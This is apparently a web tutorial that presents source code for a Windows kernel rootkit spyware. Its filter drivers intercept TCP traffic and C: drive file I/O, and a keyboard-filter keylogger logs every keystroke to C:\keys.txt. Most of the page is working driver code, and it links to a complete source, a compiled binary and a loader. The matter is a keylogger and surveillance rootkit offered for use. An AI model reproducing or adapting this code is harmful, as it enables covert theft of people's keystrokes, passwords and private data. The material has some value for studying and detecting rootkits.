Keylogger Source Code

Spyware is a type of malware that aims to record every move you make. This means a spyware records your network traffics, files and things you type with your keyboard. Spyware source code mostly consists of driver related source codes. The rootkit source code should identify itself as a network, file system and keyboard driver. After that IO requests to write to a disk, read from network and input a key will flow through the rootkit and we can record the data. Figure 1 shows the concept. Although recording those resources may seem similar, the technical details in keylogger source code is different than than other rootkit source codes like File system spyware source code. Among keyloggers, network spyware and file system spyware, intercepting network traffic is the easiest. We start from the network spyware source code and then add other technical details to monitor file system and finally write a keylogger.

rootkit spyware design

Figure 1(rootlkit spyware design)

Network spyware source code

Intercepting network traffic is possible by placing a filter on top of all network drivers. . In simple words the filter is something we do before calling the real device driver. For example if a user wants to ping a host we do something first and then we call the driver. Filtering is a capability which exists in windows – of course for other purposes— and we take advantage of it. To add a filter we just need to add our driver to chain of drivers, and after that ours is the first one in the chain which will be called. This task can be done using IoAttachDevice:

// spyware source code
// rootkit source code
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )

{

                int loop;

                DRIVER_DATA* driverData;

    UNICODE_STRING deviceName = { 0 };

    UNICODE_STRING deviceLink = { 0 };

                PDEVICE_OBJECT pDeviceController;

                PWSTR SymbolicLinkList;

 

                // Create the device controller

                RtlInitUnicodeString( &deviceName, GHOST_DEVICE_CREATE_NAME );

                IoCreateDevice( pDriverObject,

                                 0,

                                 &deviceName,

                                 FILE_DEVICE_UNKNOWN,

                                 0,

                                 FALSE,

                                 &pDeviceController );

    RtlInitUnicodeString( &deviceLink, GHOST_DEVICE_LINK_NAME );

    IoCreateSymbolicLink( &deviceLink, &deviceName );

 

                // Route standard I/O through our dispatch routine

                for(loop = 0; loop < IRP_MJ_MAXIMUM_FUNCTION; loop++)

                                pDriverObject->MajorFunction[loop] = OnDispatch;

 

 

                if( !NT_SUCCESS( insertNetworkFilter( pDriverObject,

                                &oldNetworkDevice,

                                &newNetworkDevice,

                                L"\\Device\\Tcp") ) )

                                DbgPrint("comint32: Could not insert network filter");

 

 

                return STATUS_SUCCESS;

}

NTSTATUS insertNetworkFilter(PDRIVER_OBJECT pDriverObject,

                PDEVICE_OBJECT* ppOldDevice,

                PDEVICE_OBJECT* ppNewDevice,

                wchar_t* deviceName)

{

                NTSTATUS status = STATUS_SUCCESS;

                UNICODE_STRING unicodeName = { 0 };

 

                // Create a new device

                status = IoCreateDevice( pDriverObject,

                                0,

                                NULL,

                                FILE_DEVICE_UNKNOWN,

                                0,

                                TRUE,

                                ppNewDevice );

 

                if( !NT_SUCCESS( status ) )

                                return status;

 

                // Initialize the new device

                ((PDEVICE_OBJECT)(*ppNewDevice))->Flags |= DO_DIRECT_IO;

 

                // Attach the new device

                RtlInitUnicodeString( &unicodeName, deviceName );

                status = IoAttachDevice( *ppNewDevice,

                                &unicodeName,

                                ppOldDevice );

 

                // Prevent unload if load failed

                if( !NT_SUCCESS( status ) )

                {

                                IoDeleteDevice( *ppNewDevice );

                                *ppNewDevice = NULL;

                }

 

                return status;

}

 

 

File system spyware source code

To add the driver to the chain of file system drivers we must use IoAttachDeviceToDeviceStack method. This method is a little different than IoAttachDevice, because we have to find the last file system driver in the chain and attach our driver to it:

// rootkit source code
// spyware source code
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )

{

….

                if( !NT_SUCCESS( insertFileFilter( pDriverObject,

                                &oldFileSysDevice,

                                &newFileSysDevice,

                                L"\\DosDevices\\C:\\") ) )

                                DbgPrint("comint32: Could not insert file system filter");

….

}

NTSTATUS insertFileFilter(PDRIVER_OBJECT pDriverObject,

                PDEVICE_OBJECT* ppOldDevice,

                PDEVICE_OBJECT* ppNewDevice,

                wchar_t* deviceName)

{

                NTSTATUS                                           status;

                UNICODE_STRING                           unicodeDeviceName;

                HANDLE                                                               fileHandle;

                IO_STATUS_BLOCK                         statusBlock = { 0 };

                OBJECT_ATTRIBUTES      objectAttributes = { 0 };

                PFILE_OBJECT                    fileObject;

 

                // Get the device for the specified drive

                RtlInitUnicodeString( &unicodeDeviceName, deviceName );

                InitializeObjectAttributes( &objectAttributes,

                                &unicodeDeviceName,

                                OBJ_CASE_INSENSITIVE,

                                NULL,

                                NULL );

 

                status = ZwCreateFile( &fileHandle,

                                SYNCHRONIZE|FILE_ANY_ACCESS,

                                &objectAttributes,

                                &statusBlock,

                                NULL,

                                0,

                                FILE_SHARE_READ | FILE_SHARE_WRITE,

                                FILE_OPEN,

                                FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,

                                NULL,

                                0 );

 

                if( !NT_SUCCESS( status ) )

                                return status;

 

                status = ObReferenceObjectByHandle( fileHandle,

                                FILE_READ_DATA,

                                NULL,

                                KernelMode,

                                (PVOID *)&fileObject,

                                NULL );

 

                if( !NT_SUCCESS( status ) )

                {

                                ZwClose( fileHandle );

                                return status;

                }

 

                *ppOldDevice = IoGetRelatedDeviceObject( fileObject );

 

                if( !*ppOldDevice )

                {

                                ObDereferenceObject( fileObject );

                                ZwClose( fileHandle );

                                return STATUS_ABANDONED;

                }

 

                // Create a new device

    status = IoCreateDevice( pDriverObject,

         0,

         NULL,

         (*ppOldDevice)->DeviceType,

         0,

         FALSE,

         ppNewDevice );

 

    if( !NT_SUCCESS( status ) )

                {

                                ObDereferenceObject( fileObject );

                                ZwClose( fileHandle );

                                return status;

                }

 

                // Initialize the new device

    if( (*ppOldDevice)->Flags & DO_BUFFERED_IO )

                                (*ppNewDevice)->Flags |= DO_BUFFERED_IO;

    if( (*ppOldDevice)->Flags & DO_DIRECT_IO )

                                (*ppNewDevice)->Flags |= DO_DIRECT_IO;

    if( (*ppOldDevice)->Characteristics & FILE_DEVICE_SECURE_OPEN )

                                (*ppNewDevice)->Characteristics |= FILE_DEVICE_SECURE_OPEN;

 

                // Attach the new device to the old device

                *ppOldDevice = IoAttachDeviceToDeviceStack( *ppNewDevice, *ppOldDevice );

                if( *ppOldDevice == NULL )

                {

                                // Prevent unload if load failed

                                IoDeleteDevice( *ppNewDevice );

                                *ppNewDevice = NULL;

                                // Clean up and return error

                                ObDereferenceObject( fileObject );

                                ZwClose( fileHandle );

        return STATUS_NO_SUCH_DEVICE;

                }

 

                ObDereferenceObject( fileObject );

                ZwClose( fileHandle );

 

                return STATUS_SUCCESS;

}

 

 

There is one more difference in file system monitoring; sometimes the driver should respond from the cache to the fast Io requests so in order to handle those requests we must add a couple of lines:

// spyware source code
// rootkit source code
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )

{

                PFAST_IO_DISPATCH pFastIoDispatch;

….

                pFastIoDispatch = (PFAST_IO_DISPATCH)ExAllocatePool( NonPagedPool, sizeof( FAST_IO_DISPATCH ) );

    if( !pFastIoDispatch )

                {

                    IoDeleteSymbolicLink( &deviceLink );

                                IoDeleteDevice( pDeviceController );

                                DbgPrint("comint32: Could not allocate FAST_IO_DISPATCH");                  

                                return STATUS_UNSUCCESSFUL;

                }

                RtlZeroMemory( pFastIoDispatch, sizeof( FAST_IO_DISPATCH ) );

                pFastIoDispatch->SizeOfFastIoDispatch = sizeof(FAST_IO_DISPATCH);

                pFastIoDispatch->FastIoDetachDevice = FastIoDetachDevice;

                pFastIoDispatch->FastIoCheckIfPossible = FastIoCheckIfPossible;

                pFastIoDispatch->FastIoRead = FastIoRead;

                pFastIoDispatch->FastIoWrite = FastIoWrite;

                pFastIoDispatch->FastIoQueryBasicInfo = FastIoQueryBasicInfo;

                pFastIoDispatch->FastIoQueryStandardInfo = FastIoQueryStandardInfo;

                pFastIoDispatch->FastIoLock = FastIoLock;

                pFastIoDispatch->FastIoUnlockSingle = FastIoUnlockSingle;

                pFastIoDispatch->FastIoUnlockAll = FastIoUnlockAll;

                pFastIoDispatch->FastIoUnlockAllByKey = FastIoUnlockAllByKey;

                pFastIoDispatch->FastIoDeviceControl = FastIoDeviceControl;

                pFastIoDispatch->FastIoQueryNetworkOpenInfo = FastIoQueryNetworkOpenInfo;

                pFastIoDispatch->MdlRead = FastIoMdlRead;

                pFastIoDispatch->MdlReadComplete = FastIoMdlReadComplete;

                pFastIoDispatch->PrepareMdlWrite = FastIoPrepareMdlWrite;

                pFastIoDispatch->MdlWriteComplete = FastIoMdlWriteComplete;

                pFastIoDispatch->FastIoReadCompressed = FastIoReadCompressed;

                pFastIoDispatch->FastIoWriteCompressed = FastIoWriteCompressed;

                pFastIoDispatch->MdlReadCompleteCompressed = FastIoMdlReadCompleteCompressed;

                pFastIoDispatch->MdlWriteCompleteCompressed = FastIoMdlWriteCompleteCompressed;

                pFastIoDispatch->FastIoQueryOpen = FastIoQueryOpen;

                pDriverObject->FastIoDispatch = pFastIoDispatch;

….

}
 

 

All of the functions (FastIoDetachDevice, FastIoCheckIfPossible, FastIoRead and etc.) should be defined but the logic behind them is similar. We place a filter function to process requests and then call the original FastIoXXX function. An example of function definitions:
// spyware source code
// rootkit source code
BOOLEAN FastIoCheckIfPossible( IN PFILE_OBJECT FileObject,

                IN PLARGE_INTEGER FileOffset,

                IN ULONG Length,

                IN BOOLEAN Wait,

                IN ULONG LockKey,

                IN BOOLEAN CheckForReadOperation,

                OUT PIO_STATUS_BLOCK IoStatus,

                IN PDEVICE_OBJECT DeviceObject )

{

                PFAST_IO_DISPATCH     fastIoDispatch;

 

                filterFastIo( FileObject, TRUE, FIO_CHECK_IF_POSSIBLE ); //this is the filter function which will be called in every fastIO

                fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch; // this line up to return aims to call the original routine of oldxxxDevice and return the result

                if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoCheckIfPossible ) ) // a macro defined that do a series of check to see that such function exist in oldxxxDevice

                {

                                return (fastIoDispatch->FastIoCheckIfPossible)( FileObject,

                                                FileOffset,

                                                Length,

                                                Wait,

                                                LockKey,

                                                CheckForReadOperation,

                                                IoStatus,

                                                oldFileSysDevice );

                }

                return FALSE;

}

void filterFastIo( PFILE_OBJECT file, BOOL cache, int function )

{

                // This would be a great place to filter fast file I/O

 

                UNREFERENCED_PARAMETER( file );

                UNREFERENCED_PARAMETER( cache );

                UNREFERENCED_PARAMETER( function );

                return;

 

}

 

After placing the filters the OnDispatch function can intercept the resource, for example in the OnDispatch function below we just show a dubug statement to show the functionality:

// spyware source code
// rootkit source code
NTSTATUS OnDispatch( PDEVICE_OBJECT DeviceObject, PIRP Irp )
{
	PIO_STACK_LOCATION	irpStack;
	PVOID			inputBuffer;
	PVOID			outputBuffer;
	ULONG			inputBufferLength;
	ULONG			outputBufferLength;
	ULONG			ioControlCode;
	NTSTATUS		status;

	// Get the IRP stack
	irpStack = IoGetCurrentIrpStackLocation (Irp);

	// Intercept I/O Request Packets to the TCP/IP driver
	if( DeviceObject == newNetworkDevice )
	{
		if( irpStack->MajorFunction == IRP_MJ_CREATE )
			DbgPrint("comint32: TCP/IP - CREATE");

		IoSkipCurrentIrpStackLocation ( Irp );
		return IoCallDriver( oldNetworkDevice, Irp );
	}
	// Intercept I/O Request Packets to drive C
	if( DeviceObject == newFileSysDevice )
	{
		if( irpStack->MajorFunction == IRP_MJ_QUERY_VOLUME_INFORMATION )
			DbgPrint("comint32: FILE SYSTEM - VOLUME QUERY");

		IoSkipCurrentIrpStackLocation ( Irp );
		return IoCallDriver( oldFileSysDevice, Irp );
	}
...
}

 

 

 

C++ keylogger source code

Keyloggers are like network and file system spywares but reading the keyboard buffer before it will be sent to any other applications cannot be done by simply placing the filter. The filter itself places the rootkit on top of all other drivers so it will become the first driver receiving the IO request. Figure 2 shows the overall view of the system.

Keylogger source code execution flow

Figure 2 (Keylogger source code execution flow)

This implicitly means we must write a keyboard driver to process the IO request but we just need the processed request and the key code. By inserting a filter driver on top of the stack of drivers and setting a completion routine which will be called after the lower driver operation – this is an inherit capability which every higher driver can set a completion routine driver to be called after lower driver operation—we overcome the problem of writing the driver from the ground up. Thus we allow the original keyboard driver does its task and provides us the key, after that our completion routine will be called and we have the access to the key code. Calling the original keyboard driver and setting a completion routine is simple; to set our completion routine we create a new Irp. The new Irp copies all of the data of old Irp except the MajorFunction. We set the MajorFunction to IRP_MJ_READ (we came from an IRP_MJ_READ case in the dispatch method). Moreover this Irp points to the original Irp as the next Irp to handle other completion routines. 

Code below places the driver on top of keyboard driver chains:

// keylogger source code
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )
{
….
	if( !NT_SUCCESS( insertNetworkFilter( pDriverObject,
		&oldNetworkDevice,
		&newNetworkDevice,
		L"\\Device\\Tcp") ) )
		DbgPrint("comint32: Could not insert network filter");
….
}
NTSTATUS insertKeyboardFilter(PDRIVER_OBJECT pDriverObject,
	PDEVICE_OBJECT* ppOldDevice,
	PDEVICE_OBJECT* ppNewDevice,
	wchar_t* deviceName)
{
	NTSTATUS status = STATUS_SUCCESS;
	UNICODE_STRING unicodeName = { 0 };

	// Create a new device
	status = IoCreateDevice( pDriverObject,
		0,
		NULL,
		FILE_DEVICE_KEYBOARD,
		0,
		FALSE,
		ppNewDevice );

	if( !NT_SUCCESS( status ) )
		return status;

	// Initialize the new device
	((PDEVICE_OBJECT)(*ppNewDevice))->Flags |= (DO_BUFFERED_IO | DO_POWER_PAGABLE);
	((PDEVICE_OBJECT)(*ppNewDevice))->Flags &= ~DO_DEVICE_INITIALIZING;

	// Attach the new device
	RtlInitUnicodeString( &unicodeName, deviceName );
	status = IoAttachDevice( *ppNewDevice, //adding filter
		&unicodeName,
		ppOldDevice );

	// Prevent unload if load failed
	if( !NT_SUCCESS( status ) )
	{
		IoDeleteDevice( *ppNewDevice );
		*ppNewDevice = NULL;
	}
	else
	{
		// Prepare the keylogging thread
		StartKeylogger( pDriverObject ); //this is here because of write-to-file-at-PASSIVE_LEVEL limit. so when driver entry calls the insertFilter this thread will be initialized and wait to be signaled by a semaphore
	}

	return status;
}

 

 

Completion routine

To create the new Irp and set the Completion routine we use below code:

  

// keylogger source code
NTSTATUS OnDispatch( PDEVICE_OBJECT DeviceObject, PIRP Irp )
{
PIO_STACK_LOCATION irpStack;
PVOID inputBuffer;
PVOID outputBuffer;
ULONG inputBufferLength;
ULONG outputBufferLength;
ULONG ioControlCode;
NTSTATUS status;

// Get the IRP stack
irpStack = IoGetCurrentIrpStackLocation (Irp);

....

// Intercept I/O Request Packets to the keyboard
if( DeviceObject == newKeyboardDevice )
{
if( irpStack->MajorFunction == IRP_MJ_READ )
return OnKeyboardRead( DeviceObject, Irp, irpStack ); //modified so the reading from keyword will be monitored by this function
//The OnKeyKeyboard creates a new Irp from the old one and set an IoCompletionRoutine for it. After that it calls the next driver with the new Irp
IoSkipCurrentIrpStackLocation ( Irp );
return IoCallDriver( oldKeyboardDevice, Irp );
}

....

}



NTSTATUS OnKeyboardRead( PDEVICE_OBJECT pDeviceObject,
 PIRP Irp,
 PIO_STACK_LOCATION irpStack )
{
 NTSTATUS status;
 PIRP newIrp;
 PIO_STACK_LOCATION newirpStack;

 // create new irp
 newIrp = IoAllocateIrp( pDeviceObject->StackSize, FALSE );
 IoSetNextIrpStackLocation( newIrp );
 newirpStack = IoGetCurrentIrpStackLocation( newIrp );
 newIrp->AssociatedIrp.SystemBuffer = Irp->AssociatedIrp.SystemBuffer;
 newIrp->RequestorMode = KernelMode; // Irp->RequestorMode;
 newIrp->Tail.Overlay.Thread = Irp->Tail.Overlay.Thread;
 newIrp->Tail.Overlay.OriginalFileObject = Irp->Tail.Overlay.OriginalFileObject;
 newIrp->Flags = Irp->Flags;
 newirpStack->MajorFunction = IRP_MJ_READ;
 newirpStack->MinorFunction = irpStack->MinorFunction;
 newirpStack->Parameters.Read = irpStack->Parameters.Read;
 newirpStack->DeviceObject = pDeviceObject;
 newirpStack->FileObject = irpStack->FileObject;
 newirpStack->Flags = irpStack->Flags;
 newirpStack->Control = 0;
 IoCopyCurrentIrpStackLocationToNext( newIrp );//the IoCopyCurrentIrpStackLocationToNext routine copies the IRP stack parameters from the current I/O stack location to the stack location of the next-lower driver
 IoSetCompletionRoutine( newIrp, OnReadCompletion, Irp, TRUE, TRUE, TRUE ); //onReadCompletion will be called after next lower driver complete its job
 // set cancel routine to allow driver to unload
 IoSetCancelRoutine( Irp, OnCancel );//The IoSetCancelRoutine routine sets up a driver-supplied Cancel routine to be called if a given IRP is canceled
 ....
 // pass new irp in place of old irp
 status = IoCallDriver( oldKeyboardDevice, newIrp );
 ...
} 
 NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,
IN PIRP pIrp,
IN PVOID Context)
{
//Read the key from buffer and signal KeyLoggerThread to write it to a file by releasing semaphore
}

 

The completion routine has access to the Key code (the buffer of Irp) and by a hash table can easily convert it to a character but the completion routine itself cannot save the key code in a file.  That’s because our completion routine runs in IRQL = DISPATCH_LEVEL (because the execution flows from IRP_MJ_READ in dispatch function of driver) but file operation should be done in PASSIVE_LEVEL. If we try to write to a file in DISPATCH_LEVEL the system will crash. To circumvent this problem, we start a thread in driveEntrty which runs at PASSIVE_LEVEL. This thread waits behind a semaphore for a key to be read. The completion routine releases the semaphore after it reads a key code and writes the character to a shared buffer. The thread saves the character to a file.

   

// keylogger source code
VOID KeyLoggerThread(PVOID StartContext)
{
...
             while( TRUE )

                {

                                // wait for a key

                                KeWaitForSingleObject( &keyboardData.keySemaphore,

                                                Executive,

                                                KernelMode,

                                                FALSE,

                                                NULL );

 

                                pListEntry = ExInterlockedRemoveHeadList( &keyboardData.keyList,

                                                &keyboardData.keyLock );

                               

                                if( keyboardData.terminateFlag == TRUE ) //this will be set it stop...

                                                PsTerminateSystemThread( STATUS_SUCCESS );

                               

                                // ** get BASE ADDRESS of instance **

                                keyData = CONTAINING_RECORD( pListEntry, KEY_DATA, ListEntry ); //the first arguement is the field of structure we have, second parameter is the field we're looking for, the 3rd arguement is the type of structure

 

                                // convert scan code to key

                                key[0] = key[1] = key[2] = 0; // this is already 0 because for CTRL characters there is no key insertion so this is default value when not set

                                GetKey( keyData, key );  //copy the charachter or reveal that it is a CRTL key

 

                                if( key[0] != 0 )

                                {

                                                if(keyboardData.hLogFile != NULL)

                                                {             

                                                                IO_STATUS_BLOCK io_status;

                                                   

                                                                status = ZwWriteFile(keyboardData.hLogFile,

                                                                                NULL,

                                                                                NULL,

                                                                                NULL,

                                                                                &io_status,

                                                                                &key,

                                                                                strlen(key),

                                                                                NULL,

                                                                                NULL);

                                                }

                                }             

                }
	...
}

 

 

The execution flow of the keylogging process after the definition of the completion routine in rootkit keylogger is as shown in figure 3:

Keylogger keylogging process

Figure 3 (Keylogger keylogging process)

There is one more thing; The system will crash if we unload the driver or user cancels the operation but the IRP still tries to call completion routine. To bypass this problem we keep track of uncompleted original IRP and our new IRP (by saving incomplete irps in a ListEntry):

// keylogger source code
NTSTATUS OnKeyboardRead( PDEVICE_OBJECT pDeviceObject,
	PIRP Irp,
	PIO_STACK_LOCATION irpStack )
{
...

                // save old irp

                Irp->Tail.Overlay.DriverContext[0] = newIrp; //we need this in case of cancelation to find the newIrp

                ExInterlockedInsertHeadList( &keyboardData.irpList,

                                &Irp->Tail.Overlay.ListEntry, //saving this will save the origIrp as Irp->Tail.Overlay.ListEntry ( &Tail.Overlay.ListEntry is listEntry type of the irp.) and newIrp as part of Irp->Tail.Overlay.ListEntry (Tail.Overlay.DriverContext)

                                &keyboardData.irpLock );
...
}

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,
	IN PIRP pIrp,
	IN PVOID Context)

...

//After completing a request we remove the Irp from the EntryList:

                KeAcquireSpinLock( &keyboardData.irpLock, &aIrqL ); //second parameter is output

                { //this block remove the origIrp from the keyboardData.irpList because this irp processing is done and we don't need to do anything in case of cancelation or calling StopKeylogger function

                                PLIST_ENTRY listEntry;

                                listEntry = keyboardData.irpList.Flink; //next entry or the first entry when it is the header

                                while( (listEntry != &origIrp->Tail.Overlay.ListEntry)

                                                && (listEntry != &keyboardData.irpList) ) //This condition check if it is the end of the list

                                {

                                                listEntry = listEntry->Flink;

                                }

                                found = (listEntry == &origIrp->Tail.Overlay.ListEntry);

                                if( found )

                                                RemoveEntryList( &origIrp->Tail.Overlay.ListEntry ); //RemoveEntryList removes the entry by setting the Flink member of the entry before Entry to point to the entry after Entry, and the Blink member of the entry after Entry to point to the entry before Entry.

                                                //in fact removing it from origIrp->Tail.Overlay.ListEntry will remove it from the keyboardData.irpList listEntry since it contains the address of this entry

                }

                KeReleaseSpinLock( &keyboardData.irpLock, aIrqL );

...
}

 

And while unloading, we cancel the new IRP requests and call the driver t with original IRPs. Both the original and new Irps are saved in the keyboardData.irpList because by CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry) we retrieve the Irp record and after that by Irp->Tail.Overlay.ListEntry  and Irp->Tail.Overlay.DriverContext we have access to both Irps.

    

// keylogger source code
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
	...
	if( newKeyboardDevice )
		StopKeylogger( &oldKeyboardDevice, &newKeyboardDevice );

	...
}

void StopKeylogger( PDEVICE_OBJECT* ppOldDevice, //this function will be called from unload in driver
	PDEVICE_OBJECT* ppNewDevice )
{
...
            KeAcquireSpinLock( &keyboardData.irpLock, &irql ); //the second parameter is output and returns ths IRQL

                {

                                PLIST_ENTRY listEntry;

                                listEntry = keyboardData.irpList.Flink;

                                while( listEntry != &keyboardData.irpList ) //looping over the remaining irps

                                {

                                                PIRP newIrp, Irp;

 

                                                Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry )); //the original irp

                                                newIrp = (PIRP)(Irp->Tail.Overlay.DriverContext[0]); //the newIrp we made

                                                // must advance listEntry before unlinking

                                                listEntry = listEntry->Flink;

                                                if( newIrp )

                                                {

                                                                // cancel created irp

                                                                if( IoCancelIrp( newIrp ) ) //if this (which means completion routine) does not cancel the system will crash

                                                                {

                                                                                // add original irp to forwarding list

                                                                                Irp->Tail.Overlay.DriverContext[0] = NULL;

                                                                                IoSetCancelRoutine( Irp, NULL ); //we do not use our cancelation routine, and we do not neither cancel the original irp request.

                                                                                RemoveEntryList( &Irp->Tail.Overlay.ListEntry ); //this line removes this entry from the listEntry

                                                                                InsertHeadList( &forwarding_list, &Irp->Tail.Overlay.ListEntry ); //adds the original Irp to the forwarding_list which then will be procesed normally by calling the driver without completion routin

                                                                }

                                                }

                                }

                }

                KeReleaseSpinLock( &keyboardData.irpLock, irql );

                // forward original irps

                while( !IsListEmpty( &forwarding_list ) )

                { //this block calls the driver with the original irp requests

                                PLIST_ENTRY listEntry;

                                PIRP Irp;

 

                                listEntry = RemoveHeadList( &forwarding_list );

                                Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));

                                IoSkipCurrentIrpStackLocation( Irp );

                                IoCallDriver( oldKeyboardDevice, Irp );

                }
...
}

 


The complete Keylogger source code and a compiled version plus the rootkit loader can be downloaded from here. To learn how to compile and run the keylogger source code read the introduction to the rootkit development. After running the keylogger, open a text file and type and then stop the rootkit. Then open the C:\keys.txt file to see the successful keylogging.

Read 602 times Last modified on Thursday, 18 June 2015 09:06
Rate this item
0
(0 votes)
About Author
Leave a comment

Make sure you enter the (*) required information where indicated. HTML code is not allowed.

Advanced Programming Concepts
News Letter

Subscribe our Email News Letter to get Instant Update at anytime